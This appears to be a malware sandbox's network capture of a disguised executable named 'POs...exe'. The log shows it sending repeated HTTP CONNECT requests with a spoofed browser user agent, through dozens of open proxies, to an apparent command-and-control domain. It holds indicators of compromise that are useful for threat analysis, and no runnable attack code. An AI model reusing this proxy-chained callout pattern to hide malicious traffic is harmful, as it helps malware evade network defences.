Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.11	50278	117.160.250.163	82	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.425124884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.986794949 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:42:34 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.11	50413	51.89.173.40	20435	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.449882984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.641634941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.693989992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.704335928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.782190084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.782238007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:22.797765970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:46.922821999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.11	50391	146.59.147.11	62801	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.451364040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.641696930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.693988085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.704318047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.782222033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.785320997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:22.797790051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:46.922832012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.11	50355	45.117.179.179	6522	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.496119976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.688488007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.11	50401	103.131.8.27	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.555452108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.11	50816	162.214.102.195	34227	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.656752110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.11	55193	208.102.51.6	58208	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.659982920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.11	50599	207.180.198.241	60148	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.675579071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.829349041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.829324007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.11	50583	85.172.0.30	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.675712109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.688750982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.688982010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.704282045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.782222033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.11	55122	189.240.60.169	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.679963112 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:34.974005938 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.11	50615	178.23.192.249	8901	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.688278913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.688750982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.688982010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.704282045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.782222986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.11	55165	67.201.59.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.690371037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.11	50669	103.234.27.153	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.702142000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.11	55169	198.8.94.174	39078	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.723086119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.11	50751	165.16.67.238	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.787292957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.829430103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.829399109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.829076052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.528160095 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.11	50754	104.248.158.78	62952	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.788410902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.829472065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.829397917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.829108000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.11	50891	122.116.150.2	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.801485062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.11	50774	159.223.71.71	56581	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.827101946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.876300097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.876338959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.887460947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.11	55091	105.235.197.162	54066	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:34.876939058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.11	55179	74.119.144.60	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.089385986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.11	55207	67.201.59.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.100832939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.11	55139	179.43.93.198	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.187349081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.769248009 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.11	51062	143.208.152.61	3180	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.210072041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.282363892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.282449961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.343724966 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.11	51129	79.143.177.29	21972	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:35.294286966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.890316010 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.11	51032	201.221.134.74	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
